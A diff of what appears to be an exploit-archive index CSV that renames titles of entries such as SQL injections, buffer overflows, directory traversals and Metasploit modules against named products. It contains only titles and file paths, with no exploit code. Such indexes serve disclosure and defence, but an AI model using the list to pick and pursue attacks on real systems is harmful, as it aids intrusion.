 16176,platforms/windows/remote/16176.pl,"ActFax Server (LPD/LPR) Remote Buffer Overflow Exploit",2011-02-16,chap0,windows,remote,0
 16177,platforms/windows/remote/16177.py,"ActFax Server FTP Remote BOF (post auth)",2011-02-16,chap0,windows,remote,0
 16178,platforms/asp/webapps/16178.txt,"Rae Media Real Estate Single Agent SQL Injection Vulnerability",2011-02-16,R4dc0re,asp,webapps,0
 16179,platforms/asp/webapps/16179.txt,"Rae Media Real Estate Multi Agent SQL Injection Vulnerability",2011-02-16,R4dc0re,asp,webapps,0
-16180,platforms/windows/dos/16180.py,"BWMeter v5.4.0 (.csv) Denial of Service Vulnerability",2011-02-17,b0telh0,windows,dos,0
+16180,platforms/windows/dos/16180.py,"BWMeter 5.4.0 - (.csv) Denial of Service Vulnerability",2011-02-17,b0telh0,windows,dos,0
 16181,platforms/php/webapps/16181.txt,"WordPress User Photo Component Remote File Upload Vulnerability",2011-02-17,ADVtools,php,webapps,0
 16182,platforms/linux/dos/16182.txt,"PHP 5.3.5 grapheme_extract() NULL Pointer Dereference",2011-02-17,"Maksymilian Arciemowicz",linux,dos,0
 16183,platforms/php/webapps/16183.txt,"GAzie 5.10 (Login parameter) Multiple Vulnerabilities",2011-02-17,LiquidWorm,php,webapps,0
@@ -13992,16 +13992,16 @@ id,file,description,date,author,platform,type,port
 16197,platforms/php/webapps/16197.txt,"Escort Directory CMS SQL Injection Vunerability",2011-02-19,NoNameMT,php,webapps,0
 16198,platforms/php/webapps/16198.txt,"Independent Escort CMS Blind SQL Injection Vunerability",2011-02-19,NoNameMT,php,webapps,0
 16199,platforms/php/webapps/16199.txt,"Icy Phoenix 1.3.0.53a HTTP Referer stored XSS",2011-02-20,"Saif El-Sherei",php,webapps,0
-16200,platforms/php/webapps/16200.py,"JAKCMS <= v2.01 Code Execution Exploit",2011-02-20,mr_me,php,webapps,0
-16201,platforms/php/webapps/16201.py,"JAKCMS <= v2.01 RC1 Blind SQL Injection Exploit",2011-02-20,mr_me,php,webapps,0
+16200,platforms/php/webapps/16200.py,"JAKCMS <= 2.01 - Code Execution Exploit",2011-02-20,mr_me,php,webapps,0
+16201,platforms/php/webapps/16201.py,"JAKCMS <= 2.01 RC1 - Blind SQL Injection Exploit",2011-02-20,mr_me,php,webapps,0
 16202,platforms/php/webapps/16202.txt,"Woltlab Burning Board 2.3.6 Addon (hilfsmittel.php) SQL Injection Vulnerability",2011-02-21,Crazyball,php,webapps,0
-16203,platforms/windows/dos/16203.txt,"WinMerge v2.12.4 Project File Handling Stack Overflow Vulnerability",2011-02-22,LiquidWorm,windows,dos,0
+16203,platforms/windows/dos/16203.txt,"WinMerge 2.12.4 - Project File Handling Stack Overflow Vulnerability",2011-02-22,LiquidWorm,windows,dos,0
 16204,platforms/windows/dos/16204.pl,"Solar FTP 2.1 Denial of Service Exploit",2011-02-22,x000,windows,dos,0
 16205,platforms/asp/webapps/16205.txt,"DIY Web CMS Multiple Vulnerabilities",2011-02-22,p0pc0rn,asp,webapps,0
 16206,platforms/php/webapps/16206.txt,"Galilery 1.0 Local File Inclusion Vulnerability",2011-02-22,lemlajt,php,webapps,0
 16207,platforms/php/webapps/16207.txt,"Dotproject 2.1.5 Multiple Vulnerabilities",2011-02-22,lemlajt,php,webapps,0
-16208,platforms/hardware/remote/16208.txt,"FtpDisc v1.0 for iPhone / iPod touch, Directory Traversal",2011-02-22,"R3d@l3rt, Sp@2K, Sunlight",hardware,remote,0
-16209,platforms/hardware/remote/16209.txt,"SideBooks v1.0 for iPhone / iPod touch, Directory Traversal",2011-02-22,"R3d@l3rt, Sp@2K, Sunlight",hardware,remote,0
+16208,platforms/hardware/remote/16208.txt,"iOS FtpDisc 1.0 - Directory Traversal",2011-02-22,"R3d@l3rt, Sp@2K, Sunlight",hardware,remote,0
+16209,platforms/hardware/remote/16209.txt,"iOS SideBooks 1.0 - Directory Traversal",2011-02-22,"R3d@l3rt, Sp@2K, Sunlight",hardware,remote,0
 16213,platforms/php/webapps/16213.txt,"Hyena Cart (index.php) SQL Injection Vulnerability",2011-02-23,AtT4CKxT3rR0r1ST,php,webapps,0
 16214,platforms/php/webapps/16214.txt,"tplSoccerStats (player.php) SQL Injection Vulnerability",2011-02-23,AtT4CKxT3rR0r1ST,php,webapps,0
 16216,platforms/linux/dos/16216.txt,"Red Hat Linux stickiness of /tmp",2011-02-23,"Tavis Ormandy",linux,dos,0
@@ -14012,12 +14012,12 @@ id,file,description,date,author,platform,type,port
 16222,platforms/php/webapps/16222.txt,"Course Registration Management System 2.1 Multiple Vulnerabilities",2011-02-23,"AutoSec Tools",php,webapps,0
 16223,platforms/php/webapps/16223.txt,"VidiScript SQL Injection Vulnerability",2011-02-23,ThEtA.Nu,php,webapps,0
 16225,platforms/cfm/webapps/16225.txt,"Alcassoft's SOPHIA CMS SQL Injection Vulnerability",2011-02-24,p0pc0rn,cfm,webapps,0
-16226,platforms/hardware/remote/16226.txt,"Air Files v2.6 for iPhone / iPod touch, Directory Traversal",2011-02-24,"R3d@l3rt, Sp@2K, Sunlight",hardware,remote,0
-16227,platforms/hardware/remote/16227.txt,"Filer Lite v2.1.0 for iPhone / iPod touch, Directory Traversal",2011-02-24,"R3d@l3rt, Sp@2K, Sunlight",hardware,remote,0
-16228,platforms/hardware/remote/16228.txt,"iDocManager v1.0.0 for iPhone / iPod touch, Directory Traversal",2011-02-24,"R3d@l3rt, Sp@2K, Sunlight",hardware,remote,0
-16229,platforms/hardware/remote/16229.txt,"myDBLite v1.1.10 for iPhone / iPod touch, Directory Traversal",2011-02-24,"R3d@l3rt, Sp@2K, Sunlight",hardware,remote,0
+16226,platforms/hardware/remote/16226.txt,"iSO Air Files 2.6 - Directory Traversal",2011-02-24,"R3d@l3rt, Sp@2K, Sunlight",hardware,remote,0
+16227,platforms/hardware/remote/16227.txt,"iSO Filer Lite 2.1.0 - Directory Traversal",2011-02-24,"R3d@l3rt, Sp@2K, Sunlight",hardware,remote,0
+16228,platforms/hardware/remote/16228.txt,"iOS iDocManager 1.0.0 - Directory Traversal",2011-02-24,"R3d@l3rt, Sp@2K, Sunlight",hardware,remote,0
+16229,platforms/hardware/remote/16229.txt,"iOS myDBLite 1.1.10 - Directory Traversal",2011-02-24,"R3d@l3rt, Sp@2K, Sunlight",hardware,remote,0
 16230,platforms/windows/dos/16230.py,"Victory FTP Server 5.0 Denial of Service Exploit",2011-02-24,"C4SS!0 G0M3S",windows,dos,0
-16231,platforms/hardware/remote/16231.txt,"Share v1.0 for iPhone / iPod touch, Directory Traversal",2011-02-24,"R3d@l3rt, Sp@2K, Sunlight",hardware,remote,0
+16231,platforms/hardware/remote/16231.txt,"iOS Share 1.0 - Directory Traversal",2011-02-24,"R3d@l3rt, Sp@2K, Sunlight",hardware,remote,0
 16232,platforms/php/webapps/16232.txt,"GigPress 2.1.10 Wordpress Plugin Stored XSS Vulnerability",2011-02-24,"Saif El-Sherei",php,webapps,0
 16233,platforms/php/webapps/16233.txt,"Relevanssi 2.7.2 Wordpress Plugin Stored XSS Vulnerability",2011-02-24,"Saif El-Sherei",php,webapps,0
 16234,platforms/netware/dos/16234.rb,"Novell Netware RPC XNFS xdrDecodeString Vulnerability",2011-02-24,"Francis Provencher",netware,dos,0
@@ -14028,12 +14028,12 @@ id,file,description,date,author,platform,type,port
 16239,platforms/hardware/remote/16239.txt,"iPhone Guitar Directory Traversal",2011-02-24,IRCRASH,hardware,remote,0
 16240,platforms/hardware/remote/16240.txt,"iPhone PDF Reader Pro 2.3 Directory Traversal",2011-02-24,IRCRASH,hardware,remote,0
 16241,platforms/asp/webapps/16241.txt,"RaksoCT Multiple SQL Injection Vulnerabilities",2011-02-25,p0pc0rn,asp,webapps,0
-16242,platforms/windows/remote/16242.html,"Edraw Office Viewer Component V7.4 ActiveX Stack Buffer Overflow",2011-02-25,"Alexander Gavrun",windows,remote,0
+16242,platforms/windows/remote/16242.html,"Edraw Office Viewer Component 7.4 - ActiveX Stack Buffer Overflow",2011-02-25,"Alexander Gavrun",windows,remote,0
 16243,platforms/hardware/remote/16243.py,"iPhone Folders 2.5 Directory Traversal",2011-02-25,IRCRASH,hardware,remote,0
 16244,platforms/hardware/remote/16244.py,"iPhone iFile 2.0 Directory Traversal",2011-02-25,IRCRASH,hardware,remote,0
 16245,platforms/hardware/remote/16245.py,"iPhone MyDocs 2.7 Directory Traversal",2011-02-25,IRCRASH,hardware,remote,0
 16246,platforms/php/webapps/16246.py,"Joomla XCloner Component (com_xcloner-backupandrestore) Remote Command Execution",2011-02-25,mr_me,php,webapps,0
-16247,platforms/php/webapps/16247.txt,"Pragyan CMS v3.0 Multiple Vulnerabilities",2011-02-25,"Villy and Abhishek Lyall",php,webapps,0
+16247,platforms/php/webapps/16247.txt,"Pragyan CMS 3.0 - Multiple Vulnerabilities",2011-02-25,"Villy and Abhishek Lyall",php,webapps,0
 16248,platforms/windows/dos/16248.pl,"eXPert PDF Reader 4.0 NULL Pointer Dereference and Heap Corruption",2011-02-26,LiquidWorm,windows,dos,0
 16249,platforms/php/webapps/16249.txt,"PhreeBooks R30RC4 Multiple Vulnerabilities",2011-02-26,"AutoSec Tools",php,webapps,0
 16250,platforms/php/webapps/16250.txt,"jQuery Mega Menu 1.0 Wordpress Plugin Local File Inclusion",2011-02-26,"AutoSec Tools",php,webapps,0
@@ -14055,16 +14055,16 @@ id,file,description,date,author,platform,type,port
 16267,platforms/php/webapps/16267.txt,"bitweaver 2.8.1 Multiple Vulnerabilities",2011-03-02,lemlajt,php,webapps,0
 16268,platforms/php/webapps/16268.pl,"cChatBox for vBulletin 3.6.8 and 3.7.x SQL Injection Vulnerability",2011-03-02,DSecurity,php,webapps,0
 16270,platforms/linux/dos/16270.c,"vsftpd 2.3.2 Denial of Service Vulnerability",2011-03-02,"Maksymilian Arciemowicz",linux,dos,0
-16271,platforms/hardware/remote/16271.txt,"TIOD v1.3.3 for iPhone / iPod touch Directory Traversal",2011-03-03,"R3d@l3rt, H@ckk3y",hardware,remote,0
+16271,platforms/hardware/remote/16271.txt,"iOS TIOD 1.3.3 - Directory Traversal",2011-03-03,"R3d@l3rt, H@ckk3y",hardware,remote,0
 16272,platforms/php/webapps/16272.txt,"Limelight Software (article.php) SQL Injection Vulnerability",2011-03-04,eXeSoul,php,webapps,0
 16273,platforms/php/webapps/16273.php,"PHP Speedy <= 0.5.2 Wordpress Plugin (admin_container.php) Remote Code Exec Exploit",2011-03-04,mr_me,php,webapps,0
 16274,platforms/jsp/webapps/16274.pl,"JBoss Application Server Remote Exploit",2011-03-04,Kingcope,jsp,webapps,0
 16275,platforms/hardware/remote/16275.txt,"Comtrend ADSL Router CT-5367 C01_R12 Remote Root",2011-03-04,"Todor Donev",hardware,remote,0
 16276,platforms/php/webapps/16276.txt,"ADAN Neuronlabs (view.php) SQL Injection Vulnerability",2011-03-04,IRAQ_JAGUAR,php,webapps,0
-16278,platforms/hardware/remote/16278.py,"iPod Touch/iPhone iFileExplorer Free Directory Traversal",2011-03-04,theSmallNothin,hardware,remote,0
-16279,platforms/php/webapps/16279.txt,"MySms v1.0 Multiple Vulnerabilities",2011-03-05,AtT4CKxT3rR0r1ST,php,webapps,0
+16278,platforms/hardware/remote/16278.py,"iOS iFileExplorer Free - Directory Traversal",2011-03-04,theSmallNothin,hardware,remote,0
+16279,platforms/php/webapps/16279.txt,"MySms 1.0 - Multiple Vulnerabilities",2011-03-05,AtT4CKxT3rR0r1ST,php,webapps,0
 16280,platforms/php/webapps/16280.py,"Vtiger CRM 5.0.4 Pre-Auth Local File Inclusion Exploit",2011-03-05,TecR0c,php,webapps,0
-16281,platforms/php/webapps/16281.txt,"BoutikOne  (description.php) SQL Injection Vulnerability",2011-03-05,IRAQ_JAGUAR,php,webapps,0
+16281,platforms/php/webapps/16281.txt,"BoutikOne (description.php) SQL Injection Vulnerability",2011-03-05,IRAQ_JAGUAR,php,webapps,0
 16283,platforms/win32/shellcode/16283.txt,"win32 eggsearch shellcode (33 bytes)",2011-03-05,oxff,win32,shellcode,0
 16284,platforms/unix/dos/16284.rb,"Subversion Date Svnserve",2010-08-07,metasploit,unix,dos,0
 16285,platforms/linux/remote/16285.rb,"NTP daemon readvar Buffer Overflow",2010-08-25,metasploit,linux,remote,0
@@ -14131,7 +14131,7 @@ id,file,description,date,author,platform,type,port
 16346,platforms/windows/remote/16346.rb,"TFTPDWIN v0.4.2 Long Filename Buffer Overflow",2010-04-30,metasploit,windows,remote,0
 16347,platforms/windows/remote/16347.rb,"3CTftpSvc TFTP Long Mode Buffer Overflow",2010-05-09,metasploit,windows,remote,0
 16348,platforms/windows/remote/16348.rb,"Quick FTP Pro 2.1 Transfer-Mode Overflow",2010-06-15,metasploit,windows,remote,0
-16349,platforms/windows/remote/16349.rb,"TFTPD32 <= 2.21 Long Filename Buffer Overflow",2010-09-20,metasploit,windows,remote,0
+16349,platforms/windows/remote/16349.rb,"TFTPD32 <= 2.21- Long Filename Buffer Overflow",2010-09-20,metasploit,windows,remote,0
 16350,platforms/windows/remote/16350.rb,"Allied Telesyn TFTP Server 1.9 Long Filename Overflow",2011-03-05,metasploit,windows,remote,0
 16351,platforms/windows/remote/16351.rb,"SIPfoundry sipXezPhone 0.35a CSeq Field Overflow",2010-06-15,metasploit,windows,remote,0
 16352,platforms/windows/remote/16352.rb,"SIPfoundry sipXphone 2.6.0.27 CSeq Buffer Overflow",2010-06-15,metasploit,windows,remote,0
@@ -14145,7 +14145,7 @@ id,file,description,date,author,platform,type,port
 16360,platforms/windows/remote/16360.rb,"Microsoft Windows SMB Relay Code Execution",2010-09-21,metasploit,windows,remote,0
 16361,platforms/windows/remote/16361.rb,"Microsoft Print Spooler Service Impersonation Vulnerability",2011-02-17,metasploit,windows,remote,0
 16362,platforms/windows/remote/16362.rb,"Microsoft Server Service Relative Path Stack Corruption",2011-01-21,metasploit,windows,remote,0
-16363,platforms/windows/remote/16363.rb,"Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference",2010-07-03,metasploit,windows,remote,0
+16363,platforms/windows/remote/16363.rb,"Microsoft Windows SRV2.SYS SMB Negotiate ProcessID Function Table Dereference",2010-07-03,metasploit,windows,remote,0
 16364,platforms/windows/remote/16364.rb,"Microsoft RRAS Service Overflow",2010-05-09,metasploit,windows,remote,0
 16365,platforms/windows/dos/16365.rb,"Microsoft Plug and Play Service Overflow",2010-08-30,metasploit,windows,dos,0
 16366,platforms/windows/remote/16366.rb,"Microsoft DNS RPC Service extractQuotedChar() Overflow (SMB)",2010-09-28,metasploit,windows,remote,0
@@ -14170,7 +14170,7 @@ id,file,description,date,author,platform,type,port
 16385,platforms/windows/remote/16385.rb,"DATAC RealWin SCADA Server Buffer Overflow",2010-05-09,metasploit,windows,remote,0
 16386,platforms/windows/remote/16386.rb,"D-Link DWL-G132 Wireless Driver Beacon Rates Overflow",2010-07-03,metasploit,windows,remote,0
 16387,platforms/hardware/remote/16387.rb,"Broadcom Wireless Driver Probe Response SSID Overflow",2010-07-03,metasploit,hardware,remote,0
-16388,platforms/hardware/remote/16388.rb,"NetGear WG111v2 Wireless Driver Long Beacon Overflow",2010-07-03,metasploit,hardware,remote,0
+16388,platforms/hardware/remote/16388.rb,"NetGear WG111v2 Wireless Driver - Long Beacon Overflow",2010-07-03,metasploit,hardware,remote,0
 16389,platforms/windows/remote/16389.rb,"Omni-NFS Server Buffer Overflow",2010-11-11,metasploit,windows,remote,0
 16390,platforms/windows/remote/16390.rb,"Energizer DUO Trojan Code Execution",2010-09-20,metasploit,windows,remote,0
 16391,platforms/windows/remote/16391.rb,"EMC AlphaStor Agent Buffer Overflow",2010-05-09,metasploit,windows,remote,0
@@ -14201,7 +14201,7 @@ id,file,description,date,author,platform,type,port
 16416,platforms/windows/remote/16416.rb,"CA BrightStor ARCserve for Laptops & Desktops LGServer Multiple Commands Buffer Overflow",2010-11-04,metasploit,windows,remote,0
 16417,platforms/windows/remote/16417.rb,"CA BrightStor ARCserve Tape Engine 0x8A Buffer Overflow",2010-10-05,metasploit,windows,remote,0
 16418,platforms/windows/remote/16418.rb,"CA BrightStor ARCserve Message Engine Buffer Overflow",2010-04-30,metasploit,windows,remote,0
-16419,platforms/windows/remote/16419.rb,"Mercury/32 <= v4.01b PH Server Module Buffer Overflow",2010-06-15,metasploit,windows,remote,0
+16419,platforms/windows/remote/16419.rb,"Mercury/32 <= 4.01b - PH Server Module Buffer Overflow",2010-06-15,metasploit,windows,remote,0
 16420,platforms/windows/remote/16420.rb,"Firebird Relational Database SVC_attach() Buffer Overflow",2010-07-03,metasploit,windows,remote,0
 16421,platforms/windows/remote/16421.rb,"IBM Tivoli Storage Manager Express CAD Service Buffer Overflow",2010-05-09,metasploit,windows,remote,0
 16422,platforms/windows/remote/16422.rb,"mIRC <= 6.34 PRIVMSG Handling Stack Buffer Overflow",2010-06-22,metasploit,windows,remote,0
@@ -14218,12 +14218,12 @@ id,file,description,date,author,platform,type,port
 16433,platforms/windows/remote/16433.rb,"Bomberclone 0.11.6 Buffer Overflow",2010-04-30,metasploit,windows,remote,0
 16434,platforms/windows/remote/16434.rb,"Borland CaliberRM StarTeam Multicast Service Buffer Overflow",2010-06-15,metasploit,windows,remote,0
 16435,platforms/windows/remote/16435.rb,"HP OmniInet.exe MSG_PROTOCOL Buffer Overflow",2010-09-20,metasploit,windows,remote,0
-16436,platforms/windows/remote/16436.rb,"Netcat v1.10 NT Stack Buffer Overflow",2010-06-22,metasploit,windows,remote,0
+16436,platforms/windows/remote/16436.rb,"Netcat 1.10 - NT Stack Buffer Overflow",2010-06-22,metasploit,windows,remote,0
 16437,platforms/windows/remote/16437.rb,"Borland InterBase isc_create_database() Buffer Overflow",2010-07-03,metasploit,windows,remote,0
 16438,platforms/windows/remote/16438.rb,"eIQNetworks ESA Topology DELETEDEVICE Overflow",2010-09-20,metasploit,windows,remote,0
 16439,platforms/windows/remote/16439.rb,"NetTransport Download Manager 2.90.510 Buffer Overflow",2010-08-25,metasploit,windows,remote,0
 16440,platforms/windows/remote/16440.rb,"Firebird Relational Database isc_attach_database() Buffer Overflow",2010-07-03,metasploit,windows,remote,0
-16441,platforms/windows/remote/16441.rb,"POP Peeper v3.4 DATE Buffer Overflow",2010-11-11,metasploit,windows,remote,0
+16441,platforms/windows/remote/16441.rb,"POP Peeper 3.4 - DATE Buffer Overflow",2010-11-11,metasploit,windows,remote,0
 16442,platforms/windows/remote/16442.rb,"Microsoft DirectX DirectShow SAMI Buffer Overflow",2010-10-05,metasploit,windows,remote,0
 16443,platforms/windows/remote/16443.rb,"Eureka Email 2.2q ERR Remote Buffer Overflow Exploit",2010-08-25,metasploit,windows,remote,0
 16444,platforms/windows/remote/16444.rb,"TinyIdentD 2.2 Stack Buffer Overflow",2010-09-20,metasploit,windows,remote,0
@@ -14240,7 +14240,7 @@ id,file,description,date,author,platform,type,port
 16455,platforms/windows/remote/16455.rb,"HP OmniInet.exe MSG_PROTOCOL Buffer Overflow",2010-09-20,metasploit,windows,remote,0
 16456,platforms/windows/remote/16456.rb,"Realtek Media Player Playlist Buffer Overflow",2010-11-24,metasploit,windows,remote,0
 16457,platforms/windows/remote/16457.rb,"LANDesk Management Suite 8.7 Alert Service Buffer Overflow",2010-05-09,metasploit,windows,remote,0
-16458,platforms/windows/remote/16458.rb,"POP Peeper v3.4 UIDL Buffer Overflow",2010-11-30,metasploit,windows,remote,0
+16458,platforms/windows/remote/16458.rb,"POP Peeper 3.4 - UIDL Buffer Overflow",2010-11-30,metasploit,windows,remote,0
 16459,platforms/windows/remote/16459.rb,"Talkative IRC v0.4.4.16 Response Buffer Overflow",2010-11-11,metasploit,windows,remote,0
 16460,platforms/windows/remote/16460.rb,"SecureCRT <= 4.0 Beta 2 SSH1 Buffer Overflow",2010-04-30,metasploit,windows,remote,0
 16461,platforms/windows/remote/16461.rb,"FreeSSHd 1.0.9 Key Exchange Algorithm String Buffer Overflow",2010-05-09,metasploit,windows,remote,0
@@ -14255,10 +14255,10 @@ id,file,description,date,author,platform,type,port
 16470,platforms/windows/remote/16470.rb,"Microsoft IIS 5.0 WebDAV ntdll.dll Path Overflow",2010-07-25,metasploit,windows,remote,0
 16471,platforms/windows/remote/16471.rb,"Microsoft IIS WebDAV Write Access Code Execution",2010-09-20,metasploit,windows,remote,0
 16472,platforms/windows/remote/16472.rb,"Microsoft IIS 5.0 IDQ Path Overflow",2010-06-15,metasploit,windows,remote,0
-16473,platforms/windows/remote/16473.rb,"Mercury/32 <= 4.01b LOGIN Buffer Overflow",2010-06-22,metasploit,windows,remote,0
+16473,platforms/windows/remote/16473.rb,"Mercury/32 <= 4.01b - LOGIN Buffer Overflow",2010-06-22,metasploit,windows,remote,0
 16474,platforms/windows/remote/16474.rb,"Qualcomm WorldMail 3.0 IMAPD LIST Buffer Overflow",2010-07-01,metasploit,windows,remote,0
 16475,platforms/windows/remote/16475.rb,"MailEnable IMAPD (2.35) Login Request Buffer Overflow",2010-04-30,metasploit,windows,remote,0
-16476,platforms/windows/remote/16476.rb,"Mercur v5.0 IMAP SP3 SELECT Buffer Overflow",2010-09-20,metasploit,windows,remote,0
+16476,platforms/windows/remote/16476.rb,"Mercur 5.0 - IMAP SP3 SELECT Buffer Overflow",2010-09-20,metasploit,windows,remote,0
 16477,platforms/windows/remote/16477.rb,"Mdaemon 8.0.3 IMAPD CRAM-MD5 Authentication Overflow",2010-06-22,metasploit,windows,remote,0
 16478,platforms/windows/remote/16478.rb,"Novell NetMail <= 3.52d IMAP SUBSCRIBE Buffer Overflow",2010-05-09,metasploit,windows,remote,0
 16479,platforms/windows/remote/16479.rb,"IMail IMAP4D Delete Overflow",2010-09-20,metasploit,windows,remote,0
@@ -14266,14 +14266,14 @@ id,file,description,date,author,platform,type,port
 16481,platforms/windows/remote/16481.rb,"Mercur Messaging 2005 IMAP Login Buffer Overflow",2010-08-25,metasploit,windows,remote,0
 16482,platforms/windows/remote/16482.rb,"MDaemon 9.6.4 IMAPD FETCH Buffer Overflow",2010-06-15,metasploit,windows,remote,0
 16483,platforms/windows/remote/16483.rb,"Novell NetMail <= 3.52d IMAP STATUS Buffer Overflow",2010-05-09,metasploit,windows,remote,0
-16484,platforms/windows/remote/16484.rb,"Mercury/32 v4.01a IMAP RENAME Buffer Overflow",2010-05-09,metasploit,windows,remote,0
-16485,platforms/windows/remote/16485.rb,"MailEnable IMAPD (1.54) STATUS Request Buffer Overflow",2010-04-30,metasploit,windows,remote,0
-16486,platforms/windows/remote/16486.rb,"Novell NetMail <=3.52d IMAP AUTHENTICATE Buffer Overflow",2010-05-09,metasploit,windows,remote,0
+16484,platforms/windows/remote/16484.rb,"Mercury/32 4.01a - IMAP RENAME Buffer Overflow",2010-05-09,metasploit,windows,remote,0
+16485,platforms/windows/remote/16485.rb,"MailEnable IMAPD 1.54 - STATUS Request Buffer Overflow",2010-04-30,metasploit,windows,remote,0
+16486,platforms/windows/remote/16486.rb,"Novell NetMail <= 3.52d - IMAP AUTHENTICATE Buffer Overflow",2010-05-09,metasploit,windows,remote,0
 16487,platforms/windows/remote/16487.rb,"Ipswitch IMail IMAP SEARCH Buffer Overflow",2010-06-15,metasploit,windows,remote,0
 16488,platforms/windows/remote/16488.rb,"Novell NetMail <= 3.52d IMAP APPEND Buffer Overflow",2010-05-09,metasploit,windows,remote,0
 16489,platforms/windows/remote/16489.rb,"RealVNC 3.3.7 Client Buffer Overflow",2010-04-30,metasploit,windows,remote,0
 16490,platforms/windows/remote/16490.rb,"UltraVNC 1.0.1 Client Buffer Overflow",2010-04-30,metasploit,windows,remote,0
-16491,platforms/windows/remote/16491.rb,"WinVNC Web Server <= v3.3.3r7 GET Overflow",2009-12-06,metasploit,windows,remote,0
+16491,platforms/windows/remote/16491.rb,"WinVNC Web Server <= 3.3.3r7 - GET Overflow",2009-12-06,metasploit,windows,remote,0
 16492,platforms/windows/remote/16492.rb,"Novell iPrint Client ActiveX Control ExecuteRequest debug Buffer Overflow",2010-09-21,metasploit,windows,remote,0
 16493,platforms/windows/remote/16493.rb,"EnjoySAP SAP GUI ActiveX Control Arbitrary File Download",2010-12-01,metasploit,windows,remote,0
 16494,platforms/windows/remote/16494.rb,"Adobe CoolType SING Table ""uniqueName"" Stack Buffer Overflow",2010-09-20,metasploit,windows,remote,0
@@ -14330,7 +14330,7 @@ id,file,description,date,author,platform,type,port
 16545,platforms/windows/remote/16545.rb,"Microsoft Help Center XSS and Command Execution",2010-09-20,metasploit,windows,remote,0
 16546,platforms/windows/local/16546.rb,"Adobe FlateDecode Stream Predictor 02 Integer Overflow",2010-09-20,metasploit,windows,local,0
 16547,platforms/windows/remote/16547.rb,"Internet Explorer Style getElementsByTagName Memory Corruption",2010-07-12,metasploit,windows,remote,0
-16548,platforms/windows/remote/16548.rb,"Amaya Browser v11.0 bdo tag overflow",2010-05-09,metasploit,windows,remote,0
+16548,platforms/windows/remote/16548.rb,"Amaya Browser 11.0 - bdo tag Overflow",2010-05-09,metasploit,windows,remote,0
 16549,platforms/windows/remote/16549.rb,"Internet Explorer isComponentInstalled Overflow",2010-05-09,metasploit,windows,remote,0
 16550,platforms/windows/remote/16550.rb,"WebDAV Application DLL Hijacker",2010-09-24,metasploit,windows,remote,0
 16551,platforms/windows/remote/16551.rb,"Internet Explorer CSS SetUserClip Memory Corruption",2011-01-20,metasploit,windows,remote,0
@@ -14347,7 +14347,7 @@ id,file,description,date,author,platform,type,port
 16562,platforms/windows/local/16562.rb,"Apple ITunes 4.7 Playlist Buffer Overflow",2010-05-09,metasploit,windows,local,0
 16563,platforms/windows/remote/16563.rb,"Tumbleweed FileTransfer vcst_eu.dll ActiveX Control Buffer Overflow",2010-06-15,metasploit,windows,remote,0
 16564,platforms/windows/remote/16564.rb,"Internet Explorer WebViewFolderIcon setSlice() Overflow",2010-07-03,metasploit,windows,remote,0
-16565,platforms/windows/remote/16565.rb,"RKD Software BarCodeAx.dll v4.9 ActiveX Remote Stack Buffer Overflow",2010-05-09,metasploit,windows,remote,0
+16565,platforms/windows/remote/16565.rb,"RKD Software BarCodeAx.dll 4.9 - ActiveX Remote Stack Buffer Overflow",2010-05-09,metasploit,windows,remote,0
 16566,platforms/windows/remote/16566.rb,"CommuniCrypt Mail 1.16 SMTP ActiveX Stack Buffer Overflow",2010-07-26,metasploit,windows,remote,0
 16567,platforms/windows/remote/16567.rb,"Internet Explorer Tabular Data Control ActiveX Memory Corruption",2010-04-30,metasploit,windows,remote,0
 16568,platforms/windows/remote/16568.rb,"Juniper SSL-VPN IVE JuniperSetupDLL.dll ActiveX Control Buffer Overflow",2010-05-09,metasploit,windows,remote,0
@@ -14385,7 +14385,7 @@ id,file,description,date,author,platform,type,port
 16600,platforms/windows/remote/16600.rb,"Symantec Altiris Deployment Solution ActiveX Control Arbitrary File Download and Execute",2010-11-24,metasploit,windows,remote,0
 16601,platforms/windows/remote/16601.rb,"FlipViewer FViewerLoading ActiveX Control Buffer Overflow",2010-06-15,metasploit,windows,remote,0
 16602,platforms/windows/remote/16602.rb,"Macrovision InstallShield Update Service ActiveX Unsafe Method",2010-09-20,metasploit,windows,remote,0
-16603,platforms/windows/remote/16603.rb,"NCTAudioFile2 v2.x ActiveX Control SetFormatLikeSample() Buffer Overflow",2010-07-03,metasploit,windows,remote,0
+16603,platforms/windows/remote/16603.rb,"NCTAudioFile2 2.x - ActiveX Control SetFormatLikeSample() Buffer Overflow",2010-07-03,metasploit,windows,remote,0
 16604,platforms/windows/remote/16604.rb,"WebEx UCF atucfobj.dll ActiveX NewObject Method Buffer Overflow",2010-09-20,metasploit,windows,remote,0
 16605,platforms/windows/remote/16605.rb,"Snapshot Viewer for Microsoft Access ActiveX Control Arbitrary File Download",2010-09-20,metasploit,windows,remote,0
 16606,platforms/windows/local/16606.rb,"Adobe Collab.getIcon() Buffer Overflow",2010-04-30,metasploit,windows,local,0
@@ -14403,7 +14403,7 @@ id,file,description,date,author,platform,type,port
 16618,platforms/windows/local/16618.rb,"BlazeDVD 5.1 PLF Buffer Overflow",2010-11-11,metasploit,windows,local,0
 16619,platforms/windows/local/16619.rb,"Adobe CoolType SING Table ""uniqueName"" Stack Buffer Overflow",2010-09-25,metasploit,windows,local,0
 16620,platforms/windows/local/16620.rb,"Media Jukebox 8.0.400 Buffer Overflow Exploit (SEH)",2011-01-08,metasploit,windows,local,0
-16621,platforms/windows/local/16621.rb,"Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow",2010-12-16,metasploit,windows,local,0
+16621,platforms/windows/local/16621.rb,"Foxit PDF Reader 4.1.1 - Title Stack Buffer Overflow",2010-12-16,metasploit,windows,local,0
 16622,platforms/windows/local/16622.rb,"Adobe U3D CLODProgressiveMeshDeclaration Array Overrun",2010-09-25,metasploit,windows,local,0
 16623,platforms/windows/local/16623.rb,"Adobe Doc.media.newPlayer Use After Free Vulnerability",2010-09-25,metasploit,windows,local,0
 16624,platforms/windows/local/16624.rb,"Adobe util.printf() Buffer Overflow",2010-09-25,metasploit,windows,local,0
@@ -14437,31 +14437,31 @@ id,file,description,date,author,platform,type,port
 16652,platforms/windows/local/16652.rb,"Adobe FlateDecode Stream Predictor 02 Integer Overflow",2010-09-25,metasploit,windows,local,0
 16653,platforms/windows/local/16653.rb,"Xion Audio Player 1.0.126 Unicode Stack Buffer Overflow",2010-12-16,metasploit,windows,local,0
 16654,platforms/windows/local/16654.rb,"Orbital Viewer ORB File Parsing Buffer Overflow",2010-03-09,metasploit,windows,local,0
-16655,platforms/windows/local/16655.rb,"ProShow Gold v4.0.2549 (PSH File) Stack Buffer Overflow",2010-09-25,metasploit,windows,local,0
